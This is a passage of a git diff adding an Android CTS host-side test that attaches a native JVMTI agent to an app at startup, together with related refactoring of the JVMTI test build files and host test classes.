diff --git a/hostsidetests/jvmti/attaching/app/Android.mk b/hostsidetests/jvmti/attaching/app/Android.mk
new file mode 100644
index 0000000..59cb61b
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/app/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiattachagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiAttachingDeviceApp
+
+include $(BUILD_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/attaching/app/AndroidManifest.xml b/hostsidetests/jvmti/attaching/app/AndroidManifest.xml
new file mode 100755
index 0000000..feb7b24
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/app/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.jvmti.cts.attaching">
+
+ <application android:name="android.jvmti.JvmtiApplication" android:debuggable="true">
+ <activity android:exported="true" android:name="android.jvmti.JvmtiActivity" >
+ </activity>
+ </application>
+</manifest>
+
diff --git a/hostsidetests/jvmti/attaching/app/jni/Android.mk b/hostsidetests/jvmti/attaching/app/jni/Android.mk
new file mode 100644
index 0000000..16f2bc1
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/app/jni/Android.mk
@@ -0,0 +1,63 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libctsjvmtiattachagent
+
+# Don't include this package in any configuration by default.
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := cts_agent.cpp
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+LOCAL_HEADER_LIBRARIES := libopenjdkjvmti_headers
+
+LOCAL_SHARED_LIBRARIES := liblog \
+ libdl
+
+# The test implementation. We get this provided by ART.
+# Note: Needs to be "whole" as this exposes JNI functions.
+LOCAL_WHOLE_STATIC_LIBRARIES := libctstiagent
+
+# Platform libraries that are not available to apps. Link in statically.
+LOCAL_STATIC_LIBRARIES += libbase
+
+LOCAL_STRIP_MODULE := keep_symbols
+
+# Turn on all warnings.
+LOCAL_CFLAGS := -fno-rtti \
+ -ggdb3 \
+ -Wall \
+ -Wextra \
+ -Werror \
+ -Wunreachable-code \
+ -Wredundant-decls \
+ -Wshadow \
+ -Wunused \
+ -Wimplicit-fallthrough \
+ -Wfloat-equal \
+ -Wint-to-void-pointer-cast \
+ -Wused-but-marked-unused \
+ -Wdeprecated \
+ -Wunreachable-code-break \
+ -Wunreachable-code-return \
+ -g \
+ -O0 \
+
+LOCAL_CXX_STL := libc++_static
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/jvmti/attaching/app/jni/cts_agent.cpp b/hostsidetests/jvmti/attaching/app/jni/cts_agent.cpp
new file mode 100644
index 0000000..bb32c54
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/app/jni/cts_agent.cpp
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <jvmti.h>
+
+#include <algorithm>
+#include <mutex>
+#include <vector>
+
+#include "android-base/logging.h"
+#include "jvmti_helper.h"
+#include "scoped_utf_chars.h"
+#include "test_env.h"
+
+namespace art {
+
+static std::mutex gVectorMutex;
+static std::vector<std::string> gLoadedDescriptors;
+
+static std::string GetClassName(jvmtiEnv* jenv, JNIEnv* jni_env, jclass klass) {
+ char* name;
+ jvmtiError result = jenv->GetClassSignature(klass, &name, nullptr);
+ if (result != JVMTI_ERROR_NONE) {
+ if (jni_env != nullptr) {
+ JvmtiErrorToException(jni_env, jenv, result);
+ } else {
+ printf("Failed to get class signature.\n");
+ }
+ return "";
+ }
+
+ std::string tmp(name);
+ jenv->Deallocate(reinterpret_cast<unsigned char*>(name));
+
+ return tmp;
+}
+
+static void EnableEvents(JNIEnv* env,
+ jboolean enable,
+ decltype(jvmtiEventCallbacks().ClassLoad) class_load,
+ decltype(jvmtiEventCallbacks().ClassPrepare) class_prepare) {
+ if (enable == JNI_FALSE) {
+ jvmtiError ret = jvmti_env->SetEventNotificationMode(JVMTI_DISABLE,
+ JVMTI_EVENT_CLASS_LOAD,
+ nullptr);
+ if (JvmtiErrorToException(env, jvmti_env, ret)) {
+ return;
+ }
+ ret = jvmti_env->SetEventNotificationMode(JVMTI_DISABLE,
+ JVMTI_EVENT_CLASS_PREPARE,
+ nullptr);
+ JvmtiErrorToException(env, jvmti_env, ret);
+ return;
+ }
+
+ jvmtiEventCallbacks callbacks;
+ memset(&callbacks, 0, sizeof(jvmtiEventCallbacks));
+ callbacks.ClassLoad = class_load;
+ callbacks.ClassPrepare = class_prepare;
+ jvmtiError ret = jvmti_env->SetEventCallbacks(&callbacks, sizeof(callbacks));
+ if (JvmtiErrorToException(env, jvmti_env, ret)) {
+ return;
+ }
+
+ ret = jvmti_env->SetEventNotificationMode(JVMTI_ENABLE,
+ JVMTI_EVENT_CLASS_LOAD,
+ nullptr);
+ if (JvmtiErrorToException(env, jvmti_env, ret)) {
+ return;
+ }
+ ret = jvmti_env->SetEventNotificationMode(JVMTI_ENABLE,
+ JVMTI_EVENT_CLASS_PREPARE,
+ nullptr);
+ JvmtiErrorToException(env, jvmti_env, ret);
+}
+
+static void JNICALL ClassPrepareCallback(jvmtiEnv* jenv,
+ JNIEnv* jni_env,
+ jthread thread ATTRIBUTE_UNUSED,
+ jclass klass) {
+ std::string name = GetClassName(jenv, jni_env, klass);
+ if (name == "") {
+ return;
+ }
+ std::lock_guard<std::mutex> guard(gVectorMutex);
+ gLoadedDescriptors.push_back(name);
+}
+
+extern "C" JNIEXPORT jboolean JNICALL Java_android_jvmti_JvmtiActivity_didSeeLoadOf(
+ JNIEnv* env, jclass Main_klass ATTRIBUTE_UNUSED, jstring descriptor) {
+ std::lock_guard<std::mutex> guard(gVectorMutex);
+ ScopedUtfChars str(env, descriptor);
+ std::string tmp = str.c_str();
+ bool found = std::find(gLoadedDescriptors.begin(), gLoadedDescriptors.end(), tmp) !=
+ gLoadedDescriptors.end();
+ return found ? JNI_TRUE : JNI_FALSE;
+}
+
+extern "C" JNIEXPORT jint JNICALL Agent_OnLoad(JavaVM* vm,
+ char* options ATTRIBUTE_UNUSED,
+ void* reserved ATTRIBUTE_UNUSED) {
+ if (vm->GetEnv(reinterpret_cast<void**>(&jvmti_env), JVMTI_VERSION_1_0) != 0) {
+ LOG(FATAL) << "Could not get shared jvmtiEnv";
+ }
+
+ SetAllCapabilities(jvmti_env);
+ return 0;
+}
+
+extern "C" JNIEXPORT jint JNICALL Agent_OnAttach(JavaVM* vm,
+ char* options ATTRIBUTE_UNUSED,
+ void* reserved ATTRIBUTE_UNUSED) {
+ JNIEnv* env;
+ CHECK_EQ(0, vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6))
+ << "Could not get JNIEnv";
+
+ if (vm->GetEnv(reinterpret_cast<void**>(&jvmti_env), JVMTI_VERSION_1_0) != 0) {
+ LOG(FATAL) << "Could not get shared jvmtiEnv";
+ }
+
+ SetAllCapabilities(jvmti_env);
+
+ EnableEvents(env, JNI_TRUE, nullptr, ClassPrepareCallback);
+
+ return 0;
+}
+
+} // namespace art
diff --git a/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiActivity.java b/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiActivity.java
new file mode 100644
index 0000000..88a0fa9
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jvmti;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+import java.lang.Override;
+
+/**
+ * A specialized activity. This is separate from the other agent tests as we can't use
+ * instrumentation for this.
+ */
+public class JvmtiActivity extends Activity {
+
+ private final static String APP_DESCRIPTOR = "Landroid/jvmti/JvmtiApplication;";
+ @Override
+ public void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+
+ System.out.println("Checking for " + APP_DESCRIPTOR);
+ if (!didSeeLoadOf(APP_DESCRIPTOR)) {
+ throw new IllegalStateException("Did not see the load of the application class!");
+ }
+ }
+
+ private static native boolean didSeeLoadOf(String s);
+}
diff --git a/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiApplication.java b/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiApplication.java
new file mode 100644
index 0000000..213a3f8
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/app/src/android/jvmti/JvmtiApplication.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jvmti;
+
+import android.app.Application;
+
+/**
+ * A specialized application. This is special compared to other agent tests as we can't use
+ * instrumentation for this and want to test early startup.
+ */
+public class JvmtiApplication extends Application {
+}
diff --git a/hostsidetests/jvmti/attaching/host/Android.mk b/hostsidetests/jvmti/attaching/host/Android.mk
new file mode 100644
index 0000000..f236fb0
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/host/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiAttachingHostTestCases
+LOCAL_SRC_FILES := $(call all-subdir-java-files)
+LOCAL_SDK_VERSION := current
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/attaching/host/AndroidTest.xml b/hostsidetests/jvmti/attaching/host/AndroidTest.xml
new file mode 100644
index 0000000..41c161d
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/host/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI Attaching test cases">
+ <option name="config-descriptor:metadata" key="component" value="art" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsJvmtiAttachingDeviceApp.apk" />
+ </target_preparer>
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="CtsJvmtiAttachingHostTestCases.jar" />
+ <option name="set-option" value="test-file-name:CtsJvmtiAttachingDeviceApp.apk" />
+ <option name="set-option" value="package-name:android.jvmti.cts.attaching" />
+ </test>
+</configuration>
diff --git a/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java b/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
new file mode 100644
index 0000000..2438f32
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
@@ -0,0 +1,168 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package android.jvmti.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.ITestRunListener;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.Option;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.AbiUtils;
+import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.ZipUtil;
+import java.io.File;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
+import java.util.zip.ZipFile;
+
+/**
+ * Specialization of JvmtiHostTest to test attaching on startup.
+ */
+public class JvmtiAttachingHostTest extends DeviceTestCase implements IBuildReceiver, IAbiReceiver {
+ // inject these options from HostTest directly using --set-option <option name>:<option value>
+ @Option(name = "package-name",
+ description = "The package name of the device test",
+ mandatory = true)
+ private String mTestPackageName = null;
+
+ @Option(name = "test-file-name",
+ description = "the name of a test zip file to install on device.",
+ mandatory = true)
+ private String mTestApk = null;
+
+ private CompatibilityBuildHelper mBuildHelper;
+ private IAbi mAbi;
+
+ @Override
+ public void setBuild(IBuildInfo arg0) {
+ mBuildHelper = new CompatibilityBuildHelper(arg0);
+ }
+
+ @Override
+ public void setAbi(IAbi arg0) {
+ mAbi = arg0;
+ }
+
+ public void testJvmtiAttach() throws Exception {
+ final ITestDevice device = getDevice();
+
+ String testingArch = AbiUtils.getBaseArchForAbi(mAbi.getName());
+ String deviceArch = getDeviceBaseArch(device);
+
+ //Only bypass if Base Archs are different
+ if (!testingArch.equals(deviceArch)) {
+ CLog.d(
+ "Bypass as testing Base Arch:"
+ + testingArch
+ + " is different from DUT Base Arch:"
+ + deviceArch);
+ return;
+ }
+
+ if (mTestApk == null || mTestPackageName == null) {
+ throw new IllegalStateException("Incorrect configuration");
+ }
+
+ runAttachTest(device, mTestPackageName, mTestApk);
+ }
+
+ private String getDeviceBaseArch(ITestDevice device) throws Exception {
+ String abi = device.executeShellCommand("getprop ro.product.cpu.abi").replace("\n", "");
+ CLog.d("DUT abi:" + abi);
+ return AbiUtils.getBaseArchForAbi(abi);
+ }
+
+ private void runAttachTest(ITestDevice device, String pkg, String apk) {
+ try {
+ String pwd = device.executeShellCommand("run-as " + pkg + " pwd");
+ if (pwd == null) {
+ throw new RuntimeException("pwd failed");
+ }
+ pwd = pwd.trim();
+ if (pwd.isEmpty()) {
+ throw new RuntimeException("pwd failed");
+ }
+
+ String agentInDataData =
+ installLibToDataData(device, pkg, apk, pwd, "libctsjvmtiattachagent.so");
+
+ String attachCmd = "cmd activity start -S -W --attach-agent " + agentInDataData + " -n "
+ + pkg + "/android.jvmti.JvmtiActivity";
+
+ String attachReply = device.executeShellCommand(attachCmd);
+ // Don't try to parse the output. The test will time out anyways if this didn't
+ // work.
+ if (attachReply != null && !attachReply.trim().isEmpty()) {
+ CLog.e(attachReply);
+ }
+ } catch (Exception e) {
+ throw new RuntimeException("Failed attaching", e);
+ }
+ }
+
+ String installLibToDataData(ITestDevice device, String pkg, String apk, String dataData,
+ String library) throws Exception {
+ ZipFile zf = null;
+ File tmpFile = null;
+ String libInTmp = null;
+ try {
+ String libInDataData = dataData + "/" + library;
+
+ File apkFile = mBuildHelper.getTestFile(apk);
+ zf = new ZipFile(apkFile);
+
+ String libPathInApk = "lib/" + mAbi.getName() + "/" + library;
+ tmpFile = ZipUtil.extractFileFromZip(zf, libPathInApk);
+
+ libInTmp = "/data/local/tmp/" + tmpFile.getName();
+ if (!device.pushFile(tmpFile, libInTmp)) {
+ throw new RuntimeException("Could not push library " + library + " to device");
+ }
+
+ String runAsCp = device.executeShellCommand(
+ "run-as " + pkg + " cp " + libInTmp + " " + libInDataData);
+ if (runAsCp != null && !runAsCp.trim().isEmpty()) {
+ throw new RuntimeException(runAsCp.trim());
+ }
+
+ String runAsChmod = device
+ .executeShellCommand("run-as " + pkg + " chmod a+x " + libInDataData);
+ if (runAsChmod != null && !runAsChmod.trim().isEmpty()) {
+ throw new RuntimeException(runAsChmod.trim());
+ }
+
+ return libInDataData;
+ } finally {
+ FileUtil.deleteFile(tmpFile);
+ ZipUtil.closeZip(zf);
+ if (libInTmp != null) {
+ try {
+ device.executeShellCommand("rm " + libInTmp);
+ } catch (Exception e) {
+ CLog.e("Failed cleaning up library on device");
+ }
+ }
+ }
+ }
+}
diff --git a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
index f8099ef..ce2969c 100644
--- a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
+++ b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
@@ -27,6 +27,7 @@
import com.android.tradefed.testtype.IAbiReceiver;
import com.android.tradefed.testtype.IBuildReceiver;
import com.android.tradefed.util.AbiUtils;
+import com.android.tradefed.util.FileUtil;
import com.android.tradefed.util.ZipUtil;
import java.io.File;
import java.util.LinkedList;
@@ -68,11 +69,6 @@
mAbi = arg0;
}
- /**
- * Tests the string was successfully logged to Logcat from the activity.
- *
- * @throws Exception
- */
public void testJvmti() throws Exception {
final ITestDevice device = getDevice();
@@ -125,8 +121,6 @@
@Override
public void run() {
- File tmpFile = null;
- ZipFile zf = null;
try {
String pwd = mDevice.executeShellCommand("run-as " + mPkg + " pwd");
if (pwd == null) {
@@ -148,23 +142,13 @@
}
} catch (Exception e) {
throw new RuntimeException("Failed attaching", e);
- } finally {
- if (tmpFile != null) {
- tmpFile.delete();
- }
- if (zf != null) {
- try {
- zf.close();
- } catch (Exception e) {
- throw new RuntimeException("ZipFile close failed", e);
- }
- }
}
}
String installLibToDataData(String dataData, String library) throws Exception {
ZipFile zf = null;
File tmpFile = null;
+ String libInTmp = null;
try {
String libInDataData = dataData + "/" + library;
@@ -174,7 +158,7 @@
String libPathInApk = "lib/" + mAbi.getName() + "/" + library;
tmpFile = ZipUtil.extractFileFromZip(zf, libPathInApk);
- String libInTmp = "/data/local/tmp/" + tmpFile.getName();
+ libInTmp = "/data/local/tmp/" + tmpFile.getName();
if (!mDevice.pushFile(tmpFile, libInTmp)) {
throw new RuntimeException("Could not push library " + library + " to device");
}
@@ -193,14 +177,13 @@
return libInDataData;
} finally {
- if (tmpFile != null) {
- tmpFile.delete();
- }
- if (zf != null) {
+ FileUtil.deleteFile(tmpFile);
+ ZipUtil.closeZip(zf);
+ if (libInTmp != null) {
try {
- zf.close();
+ mDevice.executeShellCommand("rm " + libInTmp);
} catch (Exception e) {
- throw new RuntimeException("ZipFile close failed", e);
+ CLog.e("Failed cleaning up library on device");
}
}
}
diff --git a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiPreparer.java b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiPreparer.java
deleted file mode 100644
index 1577ab3..0000000
--- a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiPreparer.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package android.jvmti.cts;
-
-import com.android.compatibility.common.tradefed.targetprep.ApkInstaller;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.config.Option;
-import com.android.tradefed.config.OptionClass;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.targetprep.TargetSetupError;
-import java.io.File;
-
-@OptionClass(alias="jvmti-installer")
-public class JvmtiPreparer extends ApkInstaller {
- // We re-use test-file-name to find the APK. But we need to know the package name.
- @Option(name = "package-name",
- description = "The package name of the device test",
- mandatory = true)
- private String mPackageName = null;
-
- private String storedApkName;
-
- public final static String PACKAGE_NAME_ATTRIBUTE = "jvmti-package-name";
- public final static String APK_ATTRIBUTE = "jvmti-apk";
-
- @Override
- public void setUp(ITestDevice arg0, IBuildInfo arg1)
- throws TargetSetupError, DeviceNotAvailableException {
- super.setUp(arg0, arg1);
-
- arg1.addBuildAttribute(PACKAGE_NAME_ATTRIBUTE, mPackageName);
- arg1.addBuildAttribute(APK_ATTRIBUTE, storedApkName);
- }
-
- @Override
- protected File getLocalPathForFilename(IBuildInfo arg0, String arg1, ITestDevice arg2)
- throws TargetSetupError {
- storedApkName = arg1;
- return super.getLocalPathForFilename(arg0, arg1, arg2);
- }
-}
diff --git a/hostsidetests/jvmti/base/run-test-based-app/AndroidManifest.xml b/hostsidetests/jvmti/base/run-test-based-app/AndroidManifest.xml
deleted file mode 100644
index a2d6ca6..0000000
--- a/hostsidetests/jvmti/base/run-test-based-app/AndroidManifest.xml
+++ /dev/null
@@ -1,39 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<!--
- * This is a sample of how to create an app for a run-test-based JVMTI
- * test.
- -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.jvmti.cts.run_test_{NR}">
-
- <application android:debuggable="true">
- <uses-library android:name="android.test.runner" />
- <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="{NR}" />
- <activity android:name="android.jvmti.JvmtiActivity" >
- </activity>
- </application>
-
- <!-- self-instrumenting test package. -->
- <instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
- android:label="CTS tests for JVMTI"
- android:targetPackage="android.jvmti.cts.run_test_{NR}" >
- </instrumentation>
-</manifest>
-
diff --git a/hostsidetests/jvmti/redefining/Android.mk b/hostsidetests/jvmti/redefining/Android.mk
index d0a728d..327aa69 100644
--- a/hostsidetests/jvmti/redefining/Android.mk
+++ b/hostsidetests/jvmti/redefining/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRedefineClassesHostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/redefining/app/Android.mk b/hostsidetests/jvmti/redefining/app/Android.mk
index 704f464..62e401c 100644
--- a/hostsidetests/jvmti/redefining/app/Android.mk
+++ b/hostsidetests/jvmti/redefining/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java b/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java
index a7bd120..d68d1dd 100644
--- a/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java
+++ b/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java
@@ -342,7 +342,6 @@
* return-object v0
* .end method
*/
- /* DISABLED Due to b/62237378
new RedefineError(JvmtiErrors.FAILS_VERIFICATION, Transform2.class,
"ZGV4CjAzNQBOhefYdQRcgqmkwhWsSyzb5I3udX0SnJ44AwAAcAAAAHhWNBIAAAAAAAAAAIwCAAAN" +
"AAAAcAAAAAYAAACkAAAAAQAAALwAAAAAAAAAAAAAAAMAAADIAAAAAQAAAOAAAAA4AgAAAAEAAAAB" +
@@ -359,7 +358,6 @@
"BgAAAKQAAAADAAAAAQAAALwAAAAFAAAAAwAAAMgAAAAGAAAAAQAAAOAAAAACIAAADQAAAAABAAAE" +
"IAAAAgAAABgCAAADEAAAAgAAACgCAAAGIAAAAQAAADgCAAADIAAAAgAAAEgCAAABIAAAAgAAAFQC" +
"AAAAIAAAAQAAAH4CAAAAEAAAAQAAAIwCAAA="),
- */
/**
* Base64 for this class.
*
diff --git a/hostsidetests/jvmti/redefining/jarjar-rules.txt b/hostsidetests/jvmti/redefining/jarjar-rules.txt
new file mode 100644
index 0000000..63f7888
--- /dev/null
+++ b/hostsidetests/jvmti/redefining/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTestRedefining@1
diff --git a/hostsidetests/jvmti/run-tests/Android.mk b/hostsidetests/jvmti/run-tests/Android.mk
index 64fe597..ca07cab 100644
--- a/hostsidetests/jvmti/run-tests/Android.mk
+++ b/hostsidetests/jvmti/run-tests/Android.mk
@@ -13,5 +13,166 @@
# limitations under the License.
LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+# shim classes. We use one that exposes the common functionality.
+LOCAL_SHIM_CLASSES := \
+ src/902-hello-transformation/src/art/Redefinition.java \
+ src/903-hello-tagging/src/art/Main.java \
+ src/989-method-trace-throw/src/art/Trace.java \
+
+LOCAL_SRC_FILES := $(LOCAL_SHIM_CLASSES)
+
+# Actual test classes.
+LOCAL_SRC_FILES += \
+ src/901-hello-ti-agent/src/art/Test901.java \
+ src/902-hello-transformation/src/art/Test902.java \
+ src/903-hello-tagging/src/art/Test903.java \
